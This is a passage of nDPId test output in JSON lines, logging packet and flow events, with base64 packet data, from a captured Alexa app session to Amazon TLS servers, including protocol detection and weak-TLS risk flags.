g7eDd3qKB2JwBoFXbTH2fXrysZx2JC5\/EkOMoKRWDx8olBpeNeNisSHe3FSStAA3631kgA+Biiv1+dzkSdCmjiM9kO\/DyV2cJkIGEQiLvnm3+VnESpP5B3eDQy\/Yfa8\/Dzn67NotxLaXAJ8SUawuowNk9khluQvp7PQ8\/UV8Uh9foxJ3AJRKe6SfYHX4+FK\/hGsh6mbl8yojcBwCgYIxgy5nKE4PllSlzVkgXPSXcQuM4MbZZ680V8JNBM8dLX0wDKmytPTMCqJzkTwXszMz\/uncOOJGaj+2OYjp5jhRvKX453oZIcEfGv3JyWsv3IvdAIlX5ScOoV86y\/8qcmh7TfUG2kd31\/hpQirfJj2u7WvXn3dQ3hNM\/qyVd4rCPoCVdtpJJR5pZLq5hFvj1IOUOoEdpX\/Cz92y5H177+uXPmLNLOvY+ZYO2TUGVvIFJb9S3Uvku6lbXTB\/Uc+u3HfuyUb\/OaLJGdu5LgSAbXGomVMae2Px1unOk\/BrRh53K04I50xdO4cmBK50iR9snRU2vNRTPfT\/9P9AAaUJhEHt\/oZdvlZnraWMCcFf+fKwlzg9D8FVQpOqZr\/xDNaZOSUXiQNTKVcOsal\/R3qx3MXm+i2yZ7tBT8t12pXp36bL8Ar762w7Gal1yLtKkOLxERQMCk\/ERQ0fTFdLNRUWS4MLzMsHBW7r2FJ+L7zAGdOs0bjx5Cz1I"} +01548{"flow_id":47,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":997173,"pkt_caplen":891,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":891,"pkt_l4_len":857,"pkt":"ePiC0\/vCAMDKkVoBCABFAANt8cBAAOcGqvw0XuiGrBAq2AG7smyRBTXnVCNdKlAY\/bigLQAAFwMBA0CDSYHU\/lMULDk4kJ60a1LLBwN44Mo7shCrWYSe+nYYvmaVLNIl04BcdGycN+yRRhECLaqhNHp+nZP+hKCcFVCXNe8ySIW27r72VHyz8afG9o90jcplFR+JVNhpYNe7JmsaouBqacUp9zKl9gTWVzTzGzFqg2CaY3CUBXLbzO5u2fw7lAe+bbZNJ8VbAs+bCeaAOPtD874qmfO4nz6iG+k\/6mYrGBMqAJHhfRf135EGkMtHxNXgrOMHOVGs4\/LDxH2heqmGi09a9GDc92MSoKx6Iiny5vbMrsD2BRUfAO1MhzhN7+zp8At6zd7faDXk+RuqxQlzPreHK0iwJdE6w38S6yWKi1kwqADPEiedgplRwbPZdY6cKM9gjCWLUUQlEVj3uk4ydoRVlsHQNwcCwTPtb6XKY+JrDGJz5MUrqaiDDzszw6qYVG+MIK5tsnqLAR0oJHDsOow4xxP7u\/bu4Pjc0iv7W\/08TiKp4VHO8iEkWR8Rp5zpx61EKbTtYIPb5dxoAlO8g+3CkEZdkQWT6To\/4RdjuT8pMw7dbAA5depG9mq6Cjm+9UUuaRaJv1Ymepoi8qd4kqS69+IZP6Mw\/E0RAFgRsEVQuyaK\/roCFOEQMPRYnXY4UxOML50iojb3WRaRJXdqeg\/6DdusAWpGokvgumMGAzQYejfPftRLhVCc5IQTrjYcvHdioYv9mripGKXwoPCmiHrEmCbkvHjEJR4NEX9WZfN0tRqtAzQ5AT3gdXcmEClOyUg5lR+HT0LZlNIIg6j0n7k86LsP7azsh2B5BHAroXvDn+ubQ0USzUr8YP9XFfYxQMcdSDUWYeDZtDhY3WHBw04zD9uMXhCa8RzQP0ywHdzrk0b4j0tMpCf\/bbHFy7XZR3OeRlQTIScF\/x2QVOTJVDdgqTH7Izu3VHgEG7ZTDqXIoHfW9GVPCRLjQ0uxmdKXPvRn4Cd4GZ4SCVM5MEaNXjvzB3AAust8cewjxUtXV1pxHjZtoyCJLOcM+8B4CmAiaHutNg+UN8hGdpEDds2Io31pu3ReG47SA9+0vpvMisxvdm5Th2gzXSGgM6KB95h4gginY6p\/kCTMtkKaXHtFAV5N7sx8C1y+B\/cn"} +00424{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":998096,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoY3xAANsGSIY0XuiGrBAq2ABQwbWwdDtu\/gL8AVAQf\/CUKQAAAAAAAAAA"} +00663{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976044,"pkt_ts_usec":998683,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"ePiC0\/vCAMDKkVoBCABFAADfY31AANsGR840XuiGrBAq2ABQwbWwdDtu\/gL8AVAYf\/DyJgAASFRUUC8xLjEgNDA0IE5vdCBGb3VuZA0KeC1hbXpuLVJlcXVlc3RJZDogMzJjYWRlMTgtMTYyYi0xMWU3LWE1ZmMtY2Y0YTg3NGQ5ZjYzDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMjANCkRhdGU6IEZyaSwgMzEgTWFyIDIwMTcgMTY6MDA6NDQgR01UDQoNCh+LCAAAAAAAAAADAAAAAAAAAAAA"} +00412{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976045,"pkt_ts_usec":3439,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAot7tAAEAGj0esECrYNF7ohsG1AFD+AvwBsHQ8JVAQAVsSCAAA"} +00414{"flow_id":48,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976045,"pkt_ts_usec":39798,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo08BAAEAGc0KsECrYNF7ohrJtAbvCg6GgD9Z03VAQAV0dqgAA"} +00414{"flow_id":47,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976045,"pkt_ts_usec":40073,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoGDxAAEAGLsesECrYNF7ohrJsAbtUI10qkQU5LFAQAV2LAwAA"} +00415{"flow_id":50,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":351522,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopBhAAEAGouqsECrYNF7ohrJvAbuLWOzRprYheVARAVfGKgAA"} +00415{"flow_id":49,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":351753,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAodBZAAEAG0uysECrYNF7ohrJuAbv0jjzNu8ryJlARAVcnOAAA"} +00415{"flow_id":48,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":353189,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo08FAAEAGc0GsECrYNF7ohrJtAbvCg6GgD9Z03VARAV0dqQAA"} +00414{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":354385,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAot7xAAEAGj0asECrYNF7ohsG1AFD+AvwBsHQ8JVARAVsSBwAA"} +00424{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":413394,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAonKZAAOcGA1w0XuiGrBAq2ABQwbWwdDwl\/gL8AlARAH8S4gAAAAAAAAAA"} +00424{"flow_id":50,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":413470,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoJklAAOcGebk0XuiGrBAq2AG7sm+mtiF5i1js0lARf\/dHiQAAAAAAAAAA"} +00424{"flow_id":49,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":591,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":413500,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAowgFAAOcG3gA0XuiGrBAq2AG7sm67yvIm9I48zlARf\/eolgAAAAAAAAAA"} +00415{"flow_id":46,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":418120,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAot71AAEAGj0WsECrYNF7ohsG1AFD+AvwCsHQ8JlAQAVsSBgAA"} +00415{"flow_id":50,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":418383,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAopBlAAEAGoumsECrYNF7ohrJvAbuLWOzSprYhelAQAVfGKQAA"} +00415{"flow_id":49,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":418508,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAodBdAAEAG0uusECrYNF7ohrJuAbv0jjzOu8ryJ1AQAVcnNwAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":599,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1490976046418,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45680,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":418630,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8dehAAEAG0QasECrYNF7ohrJwAbub2CWZAAAAAKAC\/\/+NLQAAAgQFtAQCCAoA9lBxAAAAAAEDAwg="} +00427{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":475196,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwWCFAAOcGR9k0XuiGrBAq2AG7snCFN7lwm9glmnASH\/679wAAAgQFtAEDAwY="} +00414{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":478174,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAodelAAEAG0RmsECrYNF7ohrJwAbub2CWahTe5cVAQAVcGaQAA"} +00738{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":478452,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXdepAAEAG0CmsECrYNF7ohrJwAbub2CWahTe5cVAYAVeQeAAAFgMBAOoBAADmAwN6ZK5x9InIPwhDa7EIgt6sqwDEMRodN28AtgITxHZ1ayCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9qqoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACGpqAB0AFwAYenoAAQA="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":602,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":51,"flow_packet_id":4,"flow_first_seen":1490976046418,"flow_last_seen":1490976046478,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45680,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00738{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":603,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":789894,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXdetAAEAG0CisECrYNF7ohrJwAbub2CWahTe5cVAYAVeQeAAAFgMBAOoBAADmAwN6ZK5x9InIPwhDa7EIgt6sqwDEMRodN28AtgITxHZ1ayCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9qqoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACGpqAB0AFwAYenoAAQA="} +00423{"flow_id":51,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":847559,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoR8pAAOcGWDg0XuiGrBAq2AG7snCFN7lxm9gmiVAQf\/iG2AAAAAAAAAAA"} +00535{"flow_id":51,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":847694,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9R8xAAOcGV+E0XuiGrBAq2AG7snCFN7lxm9gmiVAYf\/i2zwAAFgMBAEoCAABGAwFY3n0uDRrjb7Rl5ESNrS8pG4ecfknI5kybUgs\/rB4e7SCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":605,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":51,"flow_packet_id":7,"flow_first_seen":1490976046418,"flow_last_seen":1490976046847,"flow_tot_l4_data_len":731,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45680,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00491{"flow_id":51,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":606,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":849119,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdR\/lAAOcGV9Q0XuiGrBAq2AG7snCFN7nGm9gmiVAYf\/gZFQAAFgMBADANfMyy4KIo6icdo8GNdDAB+esaUQk8GNHXpAT7M+S\/GBPSyuHnlnjn6sgfLR3UVTI="} +00414{"flow_id":51,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":849760,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAodexAAEAG0RasECrYNF7ohrJwAbub2CaJhTe5xlAQAVcFJQAA"} +00415{"flow_id":51,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":850039,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAode1AAEAG0RWsECrYNF7ohrJwAbub2CaJhTe5+1AQAVcE8AAA"} +00497{"flow_id":51,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":609,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":850809,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjde5AAEAG0NmsECrYNF7ohrJwAbub2CaJhTe5+1AYAVf6agAAFAMBAAEBFgMBADCXENYZpOqpDfaidcix2Zkiw1agLVg3Oemr8fi+l7IOmZljaBmOJER+VpA5LnzMptY="} +01957{"flow_id":51,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":610,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":877338,"pkt_caplen":1184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1184,"pkt_l4_len":1150,"pkt":"AMDKkaPvePiC0\/vCCABFAASSde9AAEAGzKmsECrYNF7ohrJwAbub2CbEhTe5+1AYAVf6CwAAFwMBACCi7Lh1BwFL8fPMp35fXP847uLu4Dk3P9ZazsRDfb\/kUBcDAQRAqYmwSidZkAlw\/OnwRpz5TnZinzUPwhVSwvIvZ4cy59uAWfK5Zc91VlNesvTXw3xf3+03YxdtX\/E8mgSWM+8qPpTrKQbtKIYIml+5FXxj6fjjLfqefXALU\/Qe2trmQFU4U2JQEYFe6pjl4sCsWtkAgRmUV1c8i0T8Cu1LWmmE6ICG2C6UZvz0Zt7L7hszCVkmQM5+3xTOwqN5YMNQGupOCV6PHf7h0DyK4Wds5xQ40iXDY7o1QB7HuPlNGLMXg0SdVNtaA+EbXCod9RjXdgP4xvqw1uKS6Mqw6Ci2mSYiCdJyCU1Xw5DY\/q4EisoWJlRlIjAdLnclTJaWvQthj6WFENH5ptQYJxWoJjaRULSzgE9I6IIEcsFFKmuTFdQHXpFLFLEAWwHqPIEwMNH5Qq2sE076m7zQf\/NVhDhe+u5fhUqTP8HfgiOiC\/wJ\/L\/gSI5Leam3rhvivOTBYKA+q3wBEyDr2WbxHIFUXAEy13Wu6807DhyizrRVcEcpSrJ7Og05FsN71C7gtElGEVmaCtsZ7NGD1v3mKCm9HJ1GsPJij6\/WYdR+ivgB\/8Iah\/4BgFyF5nQTtGe7JL+f0mTkfW4YCYPpoYOlUs3TDXsvd35PW9gIUrDp7k4BA13\/ykVURGG8TUqfPJMJ3qI982QlI6UsfIvW6\/JNnZz5Dh44kTz2AAgc10LMSEMGTAMKt\/nK7Pu49AvNKl\/\/hdCJrnVSLEL2OBmHZbtOlxCUmdi71RS79hmrFLkL2M2AGrCy7x\/4vti637QEvBS+xr51hDfJtNUoCb7LNrfsiEx2nxaKerAWagtmaxm6pjRnFI+z\/DO+FfoHEXEurBifLcRFZ0KTjCYiYUEA98zQwIS+iSaBf9eluG+7UQMYjLM\/iI0FLve226xYXObPPiDUinNTLhzc1b4d2oJZLgKbEGv+ENs8lCb\/hnhQsxPsS+gaPEhHjjojOPAgrgrnHNHzgxwQyha4OlYRxC96gQ6YacS+WAJf5bMiAKSHiy\/oty1ffIOzB1oTRDugiYvr6Slxcu\/fauU3SvMmgXcrbXlsngTu2W+4ESym\/kWPgCiPkCF4ruCDJbCOptIotAXQ2smjujyy6zNihMGBKeNXybbZd9VHWn7cOXzou5yYqYZtnd39mtWUKchoCSyMxyZe6r3ADUWjZlNZ5KbTy4E2fYF0Do1Xse1koWj9dTAsICjIWvM1wkc\/0k2fS6xiPTX01N5L3CltiP0oRb0fapfMtlR3ElGXkDGi5TRXD453A5SPScnTxqSKJqbCZ7tM7l8NkmcnWXILTgUWS\/tznzXXoFwn7eL1ksoea22clM5iSyxWklLq6jTSJM+e0Mbdk+H3D0sYcOO5XY5nFs9vyT\/WP8EtDljWlAg4SgOQVEyYLkFPSdy+RmQJxyheFMfJrcek9wCTLZJMpsLPPe\/iC8cG5kCE3Ruq0aqE4RWXfdw="} +00424{"flow_id":51,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":611,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":910315,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoUZ9AAOcGTmM0XuiGrBAq2AG7snCFN7n7m9gmxFAQf\/eGFAAAAAAAAAAA"} +00423{"flow_id":51,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":934406,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoVRlAAOcGSuk0XuiGrBAq2AG7snCFN7n7m9grLlAQf+WBvAAAAAAAAAAA"} +01547{"flow_id":51,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976046,"pkt_ts_usec":938070,"pkt_caplen":891,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":891,"pkt_l4_len":857,"pkt":"ePiC0\/vCAMDKkVoBCABFAANtVfhAAOcGRsU0XuiGrBAq2AG7snCFN7n7m9grLlAY\/bh4VAAAFwMBA0DpzrTTMnZ1U4O4z9z+AwzoNgEJXtoJOG\/lArGBgDwYOnEdGZc3\/al3mVvbCP0pr4bK+KvVCGCpTYQg8M1cbAYp8MHVyUntuYs5zS7aRXsvXgxvg0wVBp3jX3Cu1K5NdzWULAU9c0Pe6zgwuvT6mCW+Mw2AKHdSWdRFkkomvMPSJtDMWiaPfpH6Vx0cO0x9EIu3Rh2Nku5sdzAraKBfTXj8JNaTHJbr8pjxHUV6iNNwBXK2tjYhOL3OxJTwyv8gF0f9nGpID+n6zSluHNqBGJ7QU\/7uaJYFn38ymJ2RaBeZGc1YsKeEEbV\/EfWd5aXp\/Mw9okX5PVNsWmOIyFAb41ajhAqtGGmK05LBG9Gni3eFmUvCV\/\/cR5YUKAujLXmWUyQ4lVjKWEbuGJvvwxult+76dj2Mi6KnYWARY+aytVVQ4n2PuDFMPNpw0KXhVBI5XdEVPGDGfas2QjuR8Aj5vt+6fySO23iWJX1euTerQ48YfdikRQUmwZtNqpyTzJgbua+0pdvEVmjBQ0pXsZY9Thvf+YFfUZwM\/1nBrK6USfxGEZLrtkp3UKxp7sOO2U2a4XXhcDnUESojcX+E3oGqU6UP7gFjAskDdEt3x36r1uTJZtQrePSx3\/Y4LInigsHLAxUfZ7\/2iwy4Q0L\/HQ1gQQ0dvFmh2CD9dNBOJYymMNhb1Pd9MKeNv64ijqECUzlDcsLmNOqzoqeJUs3LDYg4fJXq2lHWcG31Rk6zfvWx\/2rIuxOevZvleQkPSdGXqBD8R56UelYHVW8Cy6gDL+A7Cxo3LEH4cbmVk7TTG2VoLLPvLmzXJFiAjED+I4kokb1VhXhxETbhT0qfUpsAOyE3nWR7av6UHzjNYWek8llsGakCeh65K+yzTXzqLI9O7A53GrVZo8lI+28n7KAQAVDo0979B7fvm0Pd1J0X0YsutB2Hwlwr